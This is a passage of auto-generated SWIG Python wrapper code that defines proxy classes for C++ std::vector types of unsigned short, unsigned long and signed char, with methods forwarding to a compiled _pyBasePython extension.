__delitem__(self, PySliceObject slice) """ return _pyBasePython.vectorUS___delitem__(self, *args) def __getitem__(self, *args): """ __getitem__(self, PySliceObject slice) -> vectorUS __getitem__(self, difference_type i) -> value_type """ return _pyBasePython.vectorUS___getitem__(self, *args) def __setitem__(self, *args): """ __setitem__(self, PySliceObject slice, vectorUS v) __setitem__(self, difference_type i, value_type x) """ return _pyBasePython.vectorUS___setitem__(self, *args) def append(self, *args): """append(self, value_type x)""" return _pyBasePython.vectorUS_append(self, *args) def empty(self): """empty(self) -> bool""" return _pyBasePython.vectorUS_empty(self) def size(self): """size(self) -> size_type""" return _pyBasePython.vectorUS_size(self) def clear(self): """clear(self)""" return _pyBasePython.vectorUS_clear(self) def swap(self, *args): """swap(self, vectorUS v)""" return _pyBasePython.vectorUS_swap(self, *args) def get_allocator(self): """get_allocator(self) -> allocator_type""" return _pyBasePython.vectorUS_get_allocator(self) def begin(self): """begin(self) -> const_iterator""" return _pyBasePython.vectorUS_begin(self) def end(self): """end(self) -> const_iterator""" return _pyBasePython.vectorUS_end(self) def rbegin(self): """rbegin(self) -> const_reverse_iterator""" return _pyBasePython.vectorUS_rbegin(self) def rend(self): """rend(self) -> const_reverse_iterator""" return _pyBasePython.vectorUS_rend(self) def pop_back(self): """pop_back(self)""" return _pyBasePython.vectorUS_pop_back(self) def erase(self, *args): """ erase(self, iterator pos) -> iterator erase(self, iterator first, iterator last) -> iterator """ return _pyBasePython.vectorUS_erase(self, *args) def __init__(self, *args): """ __init__(self) -> vectorUS __init__(self, vectorUS arg0) -> vectorUS __init__(self, size_type size) -> vectorUS __init__(self, size_type size, value_type value) -> vectorUS """ _pyBasePython.vectorUS_swiginit(self,_pyBasePython.new_vectorUS(*args)) def push_back(self, *args): """push_back(self, value_type x)""" return _pyBasePython.vectorUS_push_back(self, *args) def front(self): """front(self) -> value_type""" return _pyBasePython.vectorUS_front(self) def back(self): """back(self) -> value_type""" return _pyBasePython.vectorUS_back(self) def assign(self, *args): """assign(self, size_type n, value_type x)""" return _pyBasePython.vectorUS_assign(self, *args) def resize(self, *args): """ resize(self, size_type new_size) resize(self, size_type new_size, value_type x) """ return _pyBasePython.vectorUS_resize(self, *args) def insert(self, *args): """ insert(self, iterator pos, value_type x) -> iterator insert(self, iterator pos, size_type n, value_type x) """ return _pyBasePython.vectorUS_insert(self, *args) def reserve(self, *args): """reserve(self, size_type n)""" return _pyBasePython.vectorUS_reserve(self, *args) def capacity(self): """capacity(self) -> size_type""" return _pyBasePython.vectorUS_capacity(self) __swig_destroy__ = _pyBasePython.delete_vectorUS vectorUS.iterator = new_instancemethod(_pyBasePython.vectorUS_iterator,None,vectorUS) vectorUS.__nonzero__ = new_instancemethod(_pyBasePython.vectorUS___nonzero__,None,vectorUS) vectorUS.__bool__ = new_instancemethod(_pyBasePython.vectorUS___bool__,None,vectorUS) vectorUS.__len__ = new_instancemethod(_pyBasePython.vectorUS___len__,None,vectorUS) vectorUS.pop = new_instancemethod(_pyBasePython.vectorUS_pop,None,vectorUS) vectorUS.__getslice__ = new_instancemethod(_pyBasePython.vectorUS___getslice__,None,vectorUS) vectorUS.__setslice__ = new_instancemethod(_pyBasePython.vectorUS___setslice__,None,vectorUS) vectorUS.__delslice__ = new_instancemethod(_pyBasePython.vectorUS___delslice__,None,vectorUS) vectorUS.__delitem__ = new_instancemethod(_pyBasePython.vectorUS___delitem__,None,vectorUS) vectorUS.__getitem__ = new_instancemethod(_pyBasePython.vectorUS___getitem__,None,vectorUS) vectorUS.__setitem__ = new_instancemethod(_pyBasePython.vectorUS___setitem__,None,vectorUS) vectorUS.append = new_instancemethod(_pyBasePython.vectorUS_append,None,vectorUS) vectorUS.empty = new_instancemethod(_pyBasePython.vectorUS_empty,None,vectorUS) vectorUS.size = new_instancemethod(_pyBasePython.vectorUS_size,None,vectorUS) vectorUS.clear = new_instancemethod(_pyBasePython.vectorUS_clear,None,vectorUS) vectorUS.swap = new_instancemethod(_pyBasePython.vectorUS_swap,None,vectorUS) vectorUS.get_allocator = new_instancemethod(_pyBasePython.vectorUS_get_allocator,None,vectorUS) vectorUS.begin = new_instancemethod(_pyBasePython.vectorUS_begin,None,vectorUS) vectorUS.end = new_instancemethod(_pyBasePython.vectorUS_end,None,vectorUS) vectorUS.rbegin = new_instancemethod(_pyBasePython.vectorUS_rbegin,None,vectorUS) vectorUS.rend = new_instancemethod(_pyBasePython.vectorUS_rend,None,vectorUS) vectorUS.pop_back = new_instancemethod(_pyBasePython.vectorUS_pop_back,None,vectorUS) vectorUS.erase = new_instancemethod(_pyBasePython.vectorUS_erase,None,vectorUS) vectorUS.push_back = new_instancemethod(_pyBasePython.vectorUS_push_back,None,vectorUS) vectorUS.front = new_instancemethod(_pyBasePython.vectorUS_front,None,vectorUS) vectorUS.back = new_instancemethod(_pyBasePython.vectorUS_back,None,vectorUS) vectorUS.assign = new_instancemethod(_pyBasePython.vectorUS_assign,None,vectorUS) vectorUS.resize = new_instancemethod(_pyBasePython.vectorUS_resize,None,vectorUS) vectorUS.insert = new_instancemethod(_pyBasePython.vectorUS_insert,None,vectorUS) vectorUS.reserve = new_instancemethod(_pyBasePython.vectorUS_reserve,None,vectorUS) vectorUS.capacity = new_instancemethod(_pyBasePython.vectorUS_capacity,None,vectorUS) vectorUS_swigregister = _pyBasePython.vectorUS_swigregister vectorUS_swigregister(vectorUS) class vectorvectorUS(object): """Proxy of C++ std::vector<(std::vector<(unsigned short)>)> class""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') __repr__ = _swig_repr def iterator(self): """iterator(self) -> SwigPyIterator""" return _pyBasePython.vectorvectorUS_iterator(self) def __iter__(self): return self.iterator() def __nonzero__(self): """__nonzero__(self) -> bool""" return _pyBasePython.vectorvectorUS___nonzero__(self) def __bool__(self): """__bool__(self) -> bool""" return _pyBasePython.vectorvectorUS___bool__(self) def __len__(self): """__len__(self) -> size_type""" return _pyBasePython.vectorvectorUS___len__(self) def pop(self): """pop(self) -> value_type""" return _pyBasePython.vectorvectorUS_pop(self) def __getslice__(self, *args): """__getslice__(self, difference_type i, difference_type j) -> vectorvectorUS""" return _pyBasePython.vectorvectorUS___getslice__(self, *args) def __setslice__(self, *args): """__setslice__(self, difference_type i, difference_type j, vectorvectorUS v)""" return _pyBasePython.vectorvectorUS___setslice__(self, *args) def __delslice__(self, *args): """__delslice__(self, difference_type i, difference_type j)""" return _pyBasePython.vectorvectorUS___delslice__(self, *args) def __delitem__(self, *args): """ __delitem__(self, difference_type i) __delitem__(self, PySliceObject slice) """ return _pyBasePython.vectorvectorUS___delitem__(self, *args) def __getitem__(self, *args): """ __getitem__(self, PySliceObject slice) -> vectorvectorUS __getitem__(self, difference_type i) -> value_type """ return _pyBasePython.vectorvectorUS___getitem__(self, *args) def __setitem__(self, *args): """ __setitem__(self, PySliceObject slice, vectorvectorUS v) __setitem__(self, difference_type i, value_type x) """ return _pyBasePython.vectorvectorUS___setitem__(self, *args) def append(self, *args): """append(self, value_type x)""" return _pyBasePython.vectorvectorUS_append(self, *args) def empty(self): """empty(self) -> bool""" return _pyBasePython.vectorvectorUS_empty(self) def size(self): """size(self) -> size_type""" return _pyBasePython.vectorvectorUS_size(self) def clear(self): """clear(self)""" return _pyBasePython.vectorvectorUS_clear(self) def swap(self, *args): """swap(self, vectorvectorUS v)""" return _pyBasePython.vectorvectorUS_swap(self, *args) def get_allocator(self): """get_allocator(self) -> allocator_type""" return _pyBasePython.vectorvectorUS_get_allocator(self) def begin(self): """begin(self) -> const_iterator""" return _pyBasePython.vectorvectorUS_begin(self) def end(self): """end(self) -> const_iterator""" return _pyBasePython.vectorvectorUS_end(self) def rbegin(self): """rbegin(self) -> const_reverse_iterator""" return _pyBasePython.vectorvectorUS_rbegin(self) def rend(self): """rend(self) -> const_reverse_iterator""" return _pyBasePython.vectorvectorUS_rend(self) def pop_back(self): """pop_back(self)""" return _pyBasePython.vectorvectorUS_pop_back(self) def erase(self, *args): """ erase(self, iterator pos) -> iterator erase(self, iterator first, iterator last) -> iterator """ return _pyBasePython.vectorvectorUS_erase(self, *args) def __init__(self, *args): """ __init__(self) -> vectorvectorUS __init__(self, vectorvectorUS arg0) -> vectorvectorUS __init__(self, size_type size) -> vectorvectorUS __init__(self, size_type size, value_type value) -> vectorvectorUS """ _pyBasePython.vectorvectorUS_swiginit(self,_pyBasePython.new_vectorvectorUS(*args)) def push_back(self, *args): """push_back(self, value_type x)""" return _pyBasePython.vectorvectorUS_push_back(self, *args) def front(self): """front(self) -> value_type""" return _pyBasePython.vectorvectorUS_front(self) def back(self): """back(self) -> value_type""" return _pyBasePython.vectorvectorUS_back(self) def assign(self, *args): """assign(self, size_type n, value_type x)""" return _pyBasePython.vectorvectorUS_assign(self, *args) def resize(self, *args): """ resize(self, size_type new_size) resize(self, size_type new_size, value_type x) """ return _pyBasePython.vectorvectorUS_resize(self, *args) def insert(self, *args): """ insert(self, iterator pos, value_type x) -> iterator insert(self, iterator pos, size_type n, value_type x) """ return _pyBasePython.vectorvectorUS_insert(self, *args) def reserve(self, *args): """reserve(self, size_type n)""" return _pyBasePython.vectorvectorUS_reserve(self, *args) def capacity(self): """capacity(self) -> size_type""" return _pyBasePython.vectorvectorUS_capacity(self) __swig_destroy__ = _pyBasePython.delete_vectorvectorUS vectorvectorUS.iterator = new_instancemethod(_pyBasePython.vectorvectorUS_iterator,None,vectorvectorUS) vectorvectorUS.__nonzero__ = new_instancemethod(_pyBasePython.vectorvectorUS___nonzero__,None,vectorvectorUS) vectorvectorUS.__bool__ = new_instancemethod(_pyBasePython.vectorvectorUS___bool__,None,vectorvectorUS) vectorvectorUS.__len__ = new_instancemethod(_pyBasePython.vectorvectorUS___len__,None,vectorvectorUS) vectorvectorUS.pop = new_instancemethod(_pyBasePython.vectorvectorUS_pop,None,vectorvectorUS) vectorvectorUS.__getslice__ = new_instancemethod(_pyBasePython.vectorvectorUS___getslice__,None,vectorvectorUS) vectorvectorUS.__setslice__ = new_instancemethod(_pyBasePython.vectorvectorUS___setslice__,None,vectorvectorUS) vectorvectorUS.__delslice__ = new_instancemethod(_pyBasePython.vectorvectorUS___delslice__,None,vectorvectorUS) vectorvectorUS.__delitem__ = new_instancemethod(_pyBasePython.vectorvectorUS___delitem__,None,vectorvectorUS) vectorvectorUS.__getitem__ = new_instancemethod(_pyBasePython.vectorvectorUS___getitem__,None,vectorvectorUS) vectorvectorUS.__setitem__ = new_instancemethod(_pyBasePython.vectorvectorUS___setitem__,None,vectorvectorUS) vectorvectorUS.append = new_instancemethod(_pyBasePython.vectorvectorUS_append,None,vectorvectorUS) vectorvectorUS.empty = new_instancemethod(_pyBasePython.vectorvectorUS_empty,None,vectorvectorUS) vectorvectorUS.size = new_instancemethod(_pyBasePython.vectorvectorUS_size,None,vectorvectorUS) vectorvectorUS.clear = new_instancemethod(_pyBasePython.vectorvectorUS_clear,None,vectorvectorUS) vectorvectorUS.swap = new_instancemethod(_pyBasePython.vectorvectorUS_swap,None,vectorvectorUS) vectorvectorUS.get_allocator = new_instancemethod(_pyBasePython.vectorvectorUS_get_allocator,None,vectorvectorUS) vectorvectorUS.begin = new_instancemethod(_pyBasePython.vectorvectorUS_begin,None,vectorvectorUS) vectorvectorUS.end = new_instancemethod(_pyBasePython.vectorvectorUS_end,None,vectorvectorUS) vectorvectorUS.rbegin = new_instancemethod(_pyBasePython.vectorvectorUS_rbegin,None,vectorvectorUS) vectorvectorUS.rend = new_instancemethod(_pyBasePython.vectorvectorUS_rend,None,vectorvectorUS) vectorvectorUS.pop_back = new_instancemethod(_pyBasePython.vectorvectorUS_pop_back,None,vectorvectorUS) vectorvectorUS.erase = new_instancemethod(_pyBasePython.vectorvectorUS_erase,None,vectorvectorUS) vectorvectorUS.push_back = new_instancemethod(_pyBasePython.vectorvectorUS_push_back,None,vectorvectorUS) vectorvectorUS.front = new_instancemethod(_pyBasePython.vectorvectorUS_front,None,vectorvectorUS) vectorvectorUS.back = new_instancemethod(_pyBasePython.vectorvectorUS_back,None,vectorvectorUS) vectorvectorUS.assign = new_instancemethod(_pyBasePython.vectorvectorUS_assign,None,vectorvectorUS) vectorvectorUS.resize = new_instancemethod(_pyBasePython.vectorvectorUS_resize,None,vectorvectorUS) vectorvectorUS.insert = new_instancemethod(_pyBasePython.vectorvectorUS_insert,None,vectorvectorUS) vectorvectorUS.reserve = new_instancemethod(_pyBasePython.vectorvectorUS_reserve,None,vectorvectorUS) vectorvectorUS.capacity = new_instancemethod(_pyBasePython.vectorvectorUS_capacity,None,vectorvectorUS) vectorvectorUS_swigregister = _pyBasePython.vectorvectorUS_swigregister vectorvectorUS_swigregister(vectorvectorUS) class vectorUL(object): """Proxy of C++ std::vector<(unsigned long)> class""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') __repr__ = _swig_repr def iterator(self): """iterator(self) -> SwigPyIterator""" return _pyBasePython.vectorUL_iterator(self) def __iter__(self): return self.iterator() def __nonzero__(self): """__nonzero__(self) -> bool""" return _pyBasePython.vectorUL___nonzero__(self) def __bool__(self): """__bool__(self) -> bool""" return _pyBasePython.vectorUL___bool__(self) def __len__(self): """__len__(self) -> size_type""" return _pyBasePython.vectorUL___len__(self) def pop(self): """pop(self) -> value_type""" return _pyBasePython.vectorUL_pop(self) def __getslice__(self, *args): """__getslice__(self, difference_type i, difference_type j) -> vectorUL""" return _pyBasePython.vectorUL___getslice__(self, *args) def __setslice__(self, *args): """__setslice__(self, difference_type i, difference_type j, vectorUL v)""" return _pyBasePython.vectorUL___setslice__(self, *args) def __delslice__(self, *args): """__delslice__(self, difference_type i, difference_type j)""" return _pyBasePython.vectorUL___delslice__(self, *args) def __delitem__(self, *args): """ __delitem__(self, difference_type i) __delitem__(self, PySliceObject slice) """ return _pyBasePython.vectorUL___delitem__(self, *args) def __getitem__(self, *args): """ __getitem__(self, PySliceObject slice) -> vectorUL __getitem__(self, difference_type i) -> value_type """ return _pyBasePython.vectorUL___getitem__(self, *args) def __setitem__(self, *args): """ __setitem__(self, PySliceObject slice, vectorUL v) __setitem__(self, difference_type i, value_type x) """ return _pyBasePython.vectorUL___setitem__(self, *args) def append(self, *args): """append(self, value_type x)""" return _pyBasePython.vectorUL_append(self, *args) def empty(self): """empty(self) -> bool""" return _pyBasePython.vectorUL_empty(self) def size(self): """size(self) -> size_type""" return _pyBasePython.vectorUL_size(self) def clear(self): """clear(self)""" return _pyBasePython.vectorUL_clear(self) def swap(self, *args): """swap(self, vectorUL v)""" return _pyBasePython.vectorUL_swap(self, *args) def get_allocator(self): """get_allocator(self) -> allocator_type""" return _pyBasePython.vectorUL_get_allocator(self) def begin(self): """begin(self) -> const_iterator""" return _pyBasePython.vectorUL_begin(self) def end(self): """end(self) -> const_iterator""" return _pyBasePython.vectorUL_end(self) def rbegin(self): """rbegin(self) -> const_reverse_iterator""" return _pyBasePython.vectorUL_rbegin(self) def rend(self): """rend(self) -> const_reverse_iterator""" return _pyBasePython.vectorUL_rend(self) def pop_back(self): """pop_back(self)""" return _pyBasePython.vectorUL_pop_back(self) def erase(self, *args): """ erase(self, iterator pos) -> iterator erase(self, iterator first, iterator last) -> iterator """ return _pyBasePython.vectorUL_erase(self, *args) def __init__(self, *args): """ __init__(self) -> vectorUL __init__(self, vectorUL arg0) -> vectorUL __init__(self, size_type size) -> vectorUL __init__(self, size_type size, value_type value) -> vectorUL """ _pyBasePython.vectorUL_swiginit(self,_pyBasePython.new_vectorUL(*args)) def push_back(self, *args): """push_back(self, value_type x)""" return _pyBasePython.vectorUL_push_back(self, *args) def front(self): """front(self) -> value_type""" return _pyBasePython.vectorUL_front(self) def back(self): """back(self) -> value_type""" return _pyBasePython.vectorUL_back(self) def assign(self, *args): """assign(self, size_type n, value_type x)""" return _pyBasePython.vectorUL_assign(self, *args) def resize(self, *args): """ resize(self, size_type new_size) resize(self, size_type new_size, value_type x) """ return _pyBasePython.vectorUL_resize(self, *args) def insert(self, *args): """ insert(self, iterator pos, value_type x) -> iterator insert(self, iterator pos, size_type n, value_type x) """ return _pyBasePython.vectorUL_insert(self, *args) def reserve(self, *args): """reserve(self, size_type n)""" return _pyBasePython.vectorUL_reserve(self, *args) def capacity(self): """capacity(self) -> size_type""" return _pyBasePython.vectorUL_capacity(self) __swig_destroy__ = _pyBasePython.delete_vectorUL vectorUL.iterator = new_instancemethod(_pyBasePython.vectorUL_iterator,None,vectorUL) vectorUL.__nonzero__ = new_instancemethod(_pyBasePython.vectorUL___nonzero__,None,vectorUL) vectorUL.__bool__ = new_instancemethod(_pyBasePython.vectorUL___bool__,None,vectorUL) vectorUL.__len__ = new_instancemethod(_pyBasePython.vectorUL___len__,None,vectorUL) vectorUL.pop = new_instancemethod(_pyBasePython.vectorUL_pop,None,vectorUL) vectorUL.__getslice__ = new_instancemethod(_pyBasePython.vectorUL___getslice__,None,vectorUL) vectorUL.__setslice__ = new_instancemethod(_pyBasePython.vectorUL___setslice__,None,vectorUL) vectorUL.__delslice__ = new_instancemethod(_pyBasePython.vectorUL___delslice__,None,vectorUL) vectorUL.__delitem__ = new_instancemethod(_pyBasePython.vectorUL___delitem__,None,vectorUL) vectorUL.__getitem__ = new_instancemethod(_pyBasePython.vectorUL___getitem__,None,vectorUL) vectorUL.__setitem__ = new_instancemethod(_pyBasePython.vectorUL___setitem__,None,vectorUL) vectorUL.append = new_instancemethod(_pyBasePython.vectorUL_append,None,vectorUL) vectorUL.empty = new_instancemethod(_pyBasePython.vectorUL_empty,None,vectorUL) vectorUL.size = new_instancemethod(_pyBasePython.vectorUL_size,None,vectorUL) vectorUL.clear = new_instancemethod(_pyBasePython.vectorUL_clear,None,vectorUL) vectorUL.swap = new_instancemethod(_pyBasePython.vectorUL_swap,None,vectorUL) vectorUL.get_allocator = new_instancemethod(_pyBasePython.vectorUL_get_allocator,None,vectorUL) vectorUL.begin = new_instancemethod(_pyBasePython.vectorUL_begin,None,vectorUL) vectorUL.end = new_instancemethod(_pyBasePython.vectorUL_end,None,vectorUL) vectorUL.rbegin = new_instancemethod(_pyBasePython.vectorUL_rbegin,None,vectorUL) vectorUL.rend = new_instancemethod(_pyBasePython.vectorUL_rend,None,vectorUL) vectorUL.pop_back = new_instancemethod(_pyBasePython.vectorUL_pop_back,None,vectorUL) vectorUL.erase = new_instancemethod(_pyBasePython.vectorUL_erase,None,vectorUL) vectorUL.push_back = new_instancemethod(_pyBasePython.vectorUL_push_back,None,vectorUL) vectorUL.front = new_instancemethod(_pyBasePython.vectorUL_front,None,vectorUL) vectorUL.back = new_instancemethod(_pyBasePython.vectorUL_back,None,vectorUL) vectorUL.assign = new_instancemethod(_pyBasePython.vectorUL_assign,None,vectorUL) vectorUL.resize = new_instancemethod(_pyBasePython.vectorUL_resize,None,vectorUL) vectorUL.insert = new_instancemethod(_pyBasePython.vectorUL_insert,None,vectorUL) vectorUL.reserve = new_instancemethod(_pyBasePython.vectorUL_reserve,None,vectorUL) vectorUL.capacity = new_instancemethod(_pyBasePython.vectorUL_capacity,None,vectorUL) vectorUL_swigregister = _pyBasePython.vectorUL_swigregister vectorUL_swigregister(vectorUL) class vectorvectorUL(object): """Proxy of C++ std::vector<(std::vector<(unsigned long)>)> class""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') __repr__ = _swig_repr def iterator(self): """iterator(self) -> SwigPyIterator""" return _pyBasePython.vectorvectorUL_iterator(self) def __iter__(self): return self.iterator() def __nonzero__(self): """__nonzero__(self) -> bool""" return _pyBasePython.vectorvectorUL___nonzero__(self) def __bool__(self): """__bool__(self) -> bool""" return _pyBasePython.vectorvectorUL___bool__(self) def __len__(self): """__len__(self) -> size_type""" return _pyBasePython.vectorvectorUL___len__(self) def pop(self): """pop(self) -> value_type""" return _pyBasePython.vectorvectorUL_pop(self) def __getslice__(self, *args): """__getslice__(self, difference_type i, difference_type j) -> vectorvectorUL""" return _pyBasePython.vectorvectorUL___getslice__(self, *args) def __setslice__(self, *args): """__setslice__(self, difference_type i, difference_type j, vectorvectorUL v)""" return _pyBasePython.vectorvectorUL___setslice__(self, *args) def __delslice__(self, *args): """__delslice__(self, difference_type i, difference_type j)""" return _pyBasePython.vectorvectorUL___delslice__(self, *args) def __delitem__(self, *args): """ __delitem__(self, difference_type i) __delitem__(self, PySliceObject slice) """ return _pyBasePython.vectorvectorUL___delitem__(self, *args) def __getitem__(self, *args): """ __getitem__(self, PySliceObject slice) -> vectorvectorUL __getitem__(self, difference_type i) -> value_type """ return _pyBasePython.vectorvectorUL___getitem__(self, *args) def __setitem__(self, *args): """ __setitem__(self, PySliceObject slice, vectorvectorUL v) __setitem__(self, difference_type i, value_type x) """ return _pyBasePython.vectorvectorUL___setitem__(self, *args) def append(self, *args): """append(self, value_type x)""" return _pyBasePython.vectorvectorUL_append(self, *args) def empty(self): """empty(self) -> bool""" return _pyBasePython.vectorvectorUL_empty(self) def size(self): """size(self) -> size_type""" return _pyBasePython.vectorvectorUL_size(self) def clear(self): """clear(self)""" return _pyBasePython.vectorvectorUL_clear(self) def swap(self, *args): """swap(self, vectorvectorUL v)""" return _pyBasePython.vectorvectorUL_swap(self, *args) def get_allocator(self): """get_allocator(self) -> allocator_type""" return _pyBasePython.vectorvectorUL_get_allocator(self) def begin(self): """begin(self) -> const_iterator""" return _pyBasePython.vectorvectorUL_begin(self) def end(self): """end(self) -> const_iterator""" return _pyBasePython.vectorvectorUL_end(self) def rbegin(self): """rbegin(self) -> const_reverse_iterator""" return _pyBasePython.vectorvectorUL_rbegin(self) def rend(self): """rend(self) -> const_reverse_iterator""" return _pyBasePython.vectorvectorUL_rend(self) def pop_back(self): """pop_back(self)""" return _pyBasePython.vectorvectorUL_pop_back(self) def erase(self, *args): """ erase(self, iterator pos) -> iterator erase(self, iterator first, iterator last) -> iterator """ return _pyBasePython.vectorvectorUL_erase(self, *args) def __init__(self, *args): """ __init__(self) -> vectorvectorUL __init__(self, vectorvectorUL arg0) -> vectorvectorUL __init__(self, size_type size) -> vectorvectorUL __init__(self, size_type size, value_type value) -> vectorvectorUL """ _pyBasePython.vectorvectorUL_swiginit(self,_pyBasePython.new_vectorvectorUL(*args)) def push_back(self, *args): """push_back(self, value_type x)""" return _pyBasePython.vectorvectorUL_push_back(self, *args) def front(self): """front(self) -> value_type""" return _pyBasePython.vectorvectorUL_front(self) def back(self): """back(self) -> value_type""" return _pyBasePython.vectorvectorUL_back(self) def assign(self, *args): """assign(self, size_type n, value_type x)""" return _pyBasePython.vectorvectorUL_assign(self, *args) def resize(self, *args): """ resize(self, size_type new_size) resize(self, size_type new_size, value_type x) """ return _pyBasePython.vectorvectorUL_resize(self, *args) def insert(self, *args): """ insert(self, iterator pos, value_type x) -> iterator insert(self, iterator pos, size_type n, value_type x) """ return _pyBasePython.vectorvectorUL_insert(self, *args) def reserve(self, *args): """reserve(self, size_type n)""" return _pyBasePython.vectorvectorUL_reserve(self, *args) def capacity(self): """capacity(self) -> size_type""" return _pyBasePython.vectorvectorUL_capacity(self) __swig_destroy__ = _pyBasePython.delete_vectorvectorUL vectorvectorUL.iterator = new_instancemethod(_pyBasePython.vectorvectorUL_iterator,None,vectorvectorUL) vectorvectorUL.__nonzero__ = new_instancemethod(_pyBasePython.vectorvectorUL___nonzero__,None,vectorvectorUL) vectorvectorUL.__bool__ = new_instancemethod(_pyBasePython.vectorvectorUL___bool__,None,vectorvectorUL) vectorvectorUL.__len__ = new_instancemethod(_pyBasePython.vectorvectorUL___len__,None,vectorvectorUL) vectorvectorUL.pop = new_instancemethod(_pyBasePython.vectorvectorUL_pop,None,vectorvectorUL) vectorvectorUL.__getslice__ = new_instancemethod(_pyBasePython.vectorvectorUL___getslice__,None,vectorvectorUL) vectorvectorUL.__setslice__ = new_instancemethod(_pyBasePython.vectorvectorUL___setslice__,None,vectorvectorUL) vectorvectorUL.__delslice__ = new_instancemethod(_pyBasePython.vectorvectorUL___delslice__,None,vectorvectorUL) vectorvectorUL.__delitem__ = new_instancemethod(_pyBasePython.vectorvectorUL___delitem__,None,vectorvectorUL) vectorvectorUL.__getitem__ = new_instancemethod(_pyBasePython.vectorvectorUL___getitem__,None,vectorvectorUL) vectorvectorUL.__setitem__ = new_instancemethod(_pyBasePython.vectorvectorUL___setitem__,None,vectorvectorUL) vectorvectorUL.append = new_instancemethod(_pyBasePython.vectorvectorUL_append,None,vectorvectorUL) vectorvectorUL.empty = new_instancemethod(_pyBasePython.vectorvectorUL_empty,None,vectorvectorUL) vectorvectorUL.size = new_instancemethod(_pyBasePython.vectorvectorUL_size,None,vectorvectorUL) vectorvectorUL.clear = new_instancemethod(_pyBasePython.vectorvectorUL_clear,None,vectorvectorUL) vectorvectorUL.swap = new_instancemethod(_pyBasePython.vectorvectorUL_swap,None,vectorvectorUL) vectorvectorUL.get_allocator = new_instancemethod(_pyBasePython.vectorvectorUL_get_allocator,None,vectorvectorUL) vectorvectorUL.begin = new_instancemethod(_pyBasePython.vectorvectorUL_begin,None,vectorvectorUL) vectorvectorUL.end = new_instancemethod(_pyBasePython.vectorvectorUL_end,None,vectorvectorUL) vectorvectorUL.rbegin = new_instancemethod(_pyBasePython.vectorvectorUL_rbegin,None,vectorvectorUL) vectorvectorUL.rend = new_instancemethod(_pyBasePython.vectorvectorUL_rend,None,vectorvectorUL) vectorvectorUL.pop_back = new_instancemethod(_pyBasePython.vectorvectorUL_pop_back,None,vectorvectorUL) vectorvectorUL.erase = new_instancemethod(_pyBasePython.vectorvectorUL_erase,None,vectorvectorUL) vectorvectorUL.push_back = new_instancemethod(_pyBasePython.vectorvectorUL_push_back,None,vectorvectorUL) vectorvectorUL.front = new_instancemethod(_pyBasePython.vectorvectorUL_front,None,vectorvectorUL) vectorvectorUL.back = new_instancemethod(_pyBasePython.vectorvectorUL_back,None,vectorvectorUL) vectorvectorUL.assign = new_instancemethod(_pyBasePython.vectorvectorUL_assign,None,vectorvectorUL) vectorvectorUL.resize = new_instancemethod(_pyBasePython.vectorvectorUL_resize,None,vectorvectorUL) vectorvectorUL.insert = new_instancemethod(_pyBasePython.vectorvectorUL_insert,None,vectorvectorUL) vectorvectorUL.reserve = new_instancemethod(_pyBasePython.vectorvectorUL_reserve,None,vectorvectorUL) vectorvectorUL.capacity = new_instancemethod(_pyBasePython.vectorvectorUL_capacity,None,vectorvectorUL) vectorvectorUL_swigregister = _pyBasePython.vectorvectorUL_swigregister vectorvectorUL_swigregister(vectorvectorUL) class vectorSC(object): """Proxy of C++ std::vector<(signed char)> class""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') __repr__ = _swig_repr def iterator(self): """iterator(self) -> SwigPyIterator""" return _pyBasePython.vectorSC_iterator(self) def __iter__(self): return self.iterator() def __nonzero__(self): """__nonzero__(self) -> bool""" return _pyBasePython.vectorSC___nonzero__(self) def __bool__(self): """__bool__(self) -> bool""" return _pyBasePython.vectorSC___bool__(self) def __len__(self): """__len__(self) -> size_type""" return _pyBasePython.vectorSC___len__(self) def pop(self): """pop(self) -> value_type""" return _pyBasePython.vectorSC_pop(self) def __getslice__(self, *args): """__getslice__(self, difference_type i, difference_type j) -> vectorSC""" return _pyBasePython.vectorSC___getslice__(self, *args) def __setslice__(self, *args): """__setslice__(self, difference_type i, difference_type j, vectorSC v)""" return _pyBasePython.vectorSC___setslice__(self, *args) def __delslice__(self, *args): """__delslice__(self, difference_type i, difference_type j)""" return _pyBasePython.vectorSC___delslice__(self, *args) def __delitem__(self, *args): """ __delitem__(self, difference_type i) __delitem__(self, PySliceObject slice) """ return _pyBasePython.vectorSC___delitem__(self, *args) def __getitem__(self, *args): """ __getitem__(self, PySliceObject slice) -> vectorSC __getitem__(self, difference_type i) -> value_type """ return _pyBasePython.vectorSC___getitem__(self, *args) def __setitem__(self, *args): """ __setitem__(self, PySliceObject slice, vectorSC v) __setitem__(self, difference_type i, value_type x) """ return _pyBasePython.vectorSC___setitem__(self, *args) def append(self, *args): """append(self, value_type x)""" return _pyBasePython.vectorSC_append(self, *args) def empty(self): """empty(self) -> bool""" return _pyBasePython.vectorSC_empty(self) def size(self): """size(self) -> size_type""" return _pyBasePython.vectorSC_size(self) def clear(self): """clear(self)""" return _pyBasePython.vectorSC_clear(self) def swap(self, *args): """swap(self, vectorSC v)""" return _pyBasePython.vectorSC_swap(self, *args) def get_allocator(self): """get_allocator(self) -> allocator_type""" return _pyBasePython.vectorSC_get_allocator(self) def begin(self): """begin(self) -> const_iterator""" return _pyBasePython.vectorSC_begin(self) def end(self): """end(self) -> const_iterator""" return _pyBasePython.vectorSC_end(self) def rbegin(self): """rbegin(self) -> const_reverse_iterator""" return _pyBasePython.vectorSC_rbegin(self) def rend(self): """rend(self) -> const_reverse_iterator""" return _pyBasePython.vectorSC_rend(self) def pop_back(self): """pop_back(self)""" return _pyBasePython.vectorSC_pop_back(self) def erase(self, *args): """ erase(self, iterator pos) -> iterator erase(self, iterator first, iterator last) -> iterator """ return _pyBasePython.vectorSC_erase(self, *args) def __init__(self, *args): """ __init__(self) -> vectorSC __init__(self, vectorSC arg0) -> vectorSC __init__(self, size_type size) -> vectorSC __init__(self, size_type size, value_type value) -> vectorSC """ _pyBasePython.vectorSC_swiginit(self,_pyBasePython.new_vectorSC(*args)) def push_back(self, *args): """push_back(self, value_type x)""" return _pyBasePython.vectorSC_push_back(self, *args) def front(self): """front(self) -> value_type""" return _pyBasePython.vectorSC_front(self) def back(self): """back(self) -> value_type""" return _pyBasePython.vectorSC_back(self) def assign(self, *args): """assign(self, size_type n, value_type x)""" return _pyBasePython.vectorSC_assign(self, *args) def resize(self, *args): """ resize(self, size_type new_size) resize(self, 